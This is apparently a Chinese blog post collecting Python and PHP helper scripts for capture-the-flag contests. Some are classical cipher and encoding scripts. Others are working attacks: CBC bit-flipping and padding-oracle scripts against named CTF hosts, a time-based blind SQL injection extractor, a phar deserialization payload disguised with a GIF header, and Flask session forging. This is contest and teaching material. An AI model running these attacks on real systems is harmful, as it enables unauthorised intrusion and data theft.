• CTF辅助脚本


    首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密

    凯撒密码

    1 flag='flag{abcdef}'
    2 c=''
    3 n=20
    4 for i in flag:
    5     if 'a' <= i <='z':
    6         i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
    7     c+=i
    8 print c

    栅栏密码

     1 n= 5
     2 m = "flag{0123456789abcdef}"
     3 c=''
     4 for x in range(n):
     5     for i in range(len(m)):
     6         if((n - i + x) % n == 0):
     7             c+=m[i]
     8 print c
     9 
    10 n=5
    11 m=''
    12 c=list(c)
    13 zero=(n-len(c))%n
    14 n=(len(c)+zero)/n
    15 if zero != 0: 
    16     for i in range(1,zero):
    17         c.insert(-n*i+1,'0')
    18     c.append('0')
    19 for x in range(n):
    20     for i in range(len(c)):
    21         if((n - i + x) % n == 0):
    22             m+=c[i]
    23 if zero!= 0:
    24     m=m[:-zero]
    25 print m

    曼彻斯特编码与解码

     1 flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
     2 s='00'
     3 for i in range(len(flag)):
     4     if flag[i]=='1':
     5         s+='10'
     6     else:
     7         s+='01'
     8 print hex(int(s,2))[2:-1]
     9 #296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
    10 r=""
    11 for i in range(len(s)/2):
    12     if s[i*2:i*2+2] == '10':
    13         r += '1'
    14     else:
    15         r += '0'
    16 print hex(int(r,2))[2:-1].decode('hex')
    17 #flag{0123456789abcdef}

    差分曼彻斯特编码与解码

     1 #coding=utf-8
     2 flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
     3 s='01' # or '10'
     4 for i in range(len(flag)):
     5     if flag[i]=='1':
     6         s+=s[-2:][::-1]
     7     else:
     8         s+=s[-2:]
     9 print hex(int(s,2))[2:-1]
    10 #6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
    11 r=""
    12 tmp = 0
    13 for i in xrange(len(s)/2):
    14     c = s[i*2]
    15     if c == s[i*2 - 1]:
    16         r += '1'
    17     else:
    18         r += '0'
    19 print hex(int(r,2))[2:-1].decode('hex')
    20 #flag{0123456789abcdef}

     lsb隐写

     1 #coding=utf-8
     2 from PIL import Image
     3 import binascii
     4 import random
     5 
     6 im_path = 'timg.jpg'
     7 im = Image.open(im_path)
     8 width, height = im.size
     9 newImg = Image.new("RGBA",(width, height),(255,255,255,120)) 
    10 for i in range(0,height):
    11     for j in range(0,width):
    12         a,b,c=im.getpixel((j,i))
    13         newImg.putpixel((j,i),(a,b,c,180))
    14 newImg.save('new.bmp','PNG')
    15 
    16 flag=binascii.b2a_hex('flag{123456}')
    17 flag= bin(int(flag,16))[2:]
    18 flag= '0'*(8-len(flag)%8)+flag
    19 print flag
    20 
    21 newImg = Image.new("RGB",(width, height),(0,0,0)) 
    22 for i in range(0,height):
    23     for j in range(0,width):
    24         a,b,c=im.getpixel((j,i))
    25         try: #将末尾像素置0后写入
    26             newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
    27         except:
    28             try: #其余像素奇偶随机
    29                 newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
    30             except:
    31                 newImg.putpixel((j,i),(a,b,c))
    32 newImg.save('new.png','PNG')

     cbc字节翻转攻击

     1 import requests
     2 enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
     3 m='Welcome to the code system!This is a test string'
     4 fake='uu=admin&ff=php://input&ccc=nl *'
     5 
     6 iv=enc[16:32]
     7 m1=m[32:]
     8 fake1=fake[16:]
     9 fake_iv=''
    10 
    11 for i in range(16):
    12     fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
    13 enc=enc[:16]+fake_iv+enc[32:]
    14 
    15 m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content
    16 
    17 iv=enc[:16]
    18 m2=m[16:32]
    19 fake2=fake[:16]
    20 
    21 fake_iv=''
    22 for i in range(16):
    23     fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
    24 enc=fake_iv+enc[16:]
    25 
    26 m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content
    27 
    28 print m

    flask session伪造

     1 from flask import Flask,  session
     2 import uuid
     3 import urllib.request
     4 app = Flask(__name__)
     5 app.config['SECRET_KEY']='123456'
     6 
     7 
     8 @app.route('/')
     9 def index():
    10     session['username']='user'
    11     session['isadmin']='1'
    12     return 'hello'
    13     
    14 if __name__ == "__main__":
    15     app.run(debug=True,port=8000,host="0.0.0.0")

    RSA demo

     1 from gmpy2 import *
     2 e=65537
     3 p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
     4 q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
     5 n=p*q
     6 c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
     7 x=long((p-1) * (q-1))
     8 d= invert(e,x)
     9 m=pow(c,d,n)
    10 print hex(m)[2:].decode('hex')

     SQL注入辅助

    import requests
    import time
    url='http://172.16.124.149/Less-10/?id='
    flag=''
    for i in range(1,20):
        left=33
        right=128
    
        while right-left!=1:
            mid=(left+right)/2
            payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
            t1=time.time()
            r=requests.get(url=url+payload)
            t2=time.time()
            if t2-t1 > 0.2:
                left=mid
            else:
                right=mid
        flag+=chr(right)
        print flag

    phar反序列化demo

    <?php
    //把要进行反序列化的对象放在此处
    class foo
    {
        var $ha = 'echo "ok";';
        function __destruct()
        {
            eval($this->ha);
        }
    }
        //生成对应可被利用的对象
        $o = new foo();
       $o->ha='echo "error";';
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
        $phar->setMetadata($o); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

     padding oracel

    import requests
    import urllib
    
    host='124.193.74.211'
    port='55769'
    #host='127.0.0.1'
    #port='80'
    url='http://%s:%s/login.php'%(host,port)
    session = requests.session()
    session.post(url=url,data={'username':'admin','password':'admin'})
    
    im=[]
    for i in range(1,17):
        try:
            s=''
            xx=''
            for j in im[::-1]:
                xx+=chr(i^j)
            for j in range(256):
                s='xff'*(16-i)+chr(j)+xx
                s=s.encode('base64')
                session.cookies.set('token',urllib.quote(s),domain=host,path='/')
                x=session.get(url).text
                if 'Error' not in x:
                    im.append(j^i)
                    print s.decode('base64').encode('hex')
                    break
            print im
        except Exception as e:
            print e,'
    '
    
    for j in range(256):
        
        s='x0f'*15
        token=''
        for i in range(15):
            token+=chr(im[::-1][i]^ord(s[i]))
        token=chr(j)+token
        token=token.encode('base64')
        session.cookies.set('token',urllib.quote(token),domain=host,path='/')
        x=session.get(url).text
        if 'Error' in x:
            im.append(j^ord('0'))
            print im
            break
    
    im=im[::-1]
    s='onepiece'+chr(8)*8
    token=''
    for i in range(16):
        token+=chr(im[i]^ord(s[i]))
    token=token.encode('base64')[:-1]
    session.cookies.set('token',urllib.quote(token),domain=host,path='/')
    x=session.get(url).text
    print session.cookies,x

     爆破图片crc

    import binascii
    
    for i in range(16**4):
        i=hex(i)[2:].zfill(4)
        for j in range(16**4):
            j=hex(j)[2:].zfill(4)
            s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
            if s=='53d1578a':
                print 'x:',i,'y:',j,'crc:',s
        print 'x:',i
  • 相关阅读:
    CSUOJ 1554 SG Value
    php面试之四-Linux部分
    php常用算法
    php综合运用技术
    面试基础
    面试题系列1
    面试题系列
    php面试题之五——MySQL数据库(基础部分)
    php面试之数据结构和算法
    asp.net导出Excel类库
  • 原文地址:https://www.cnblogs.com/kagari/p/10833116.html
Copyright © 2020-2023  润新知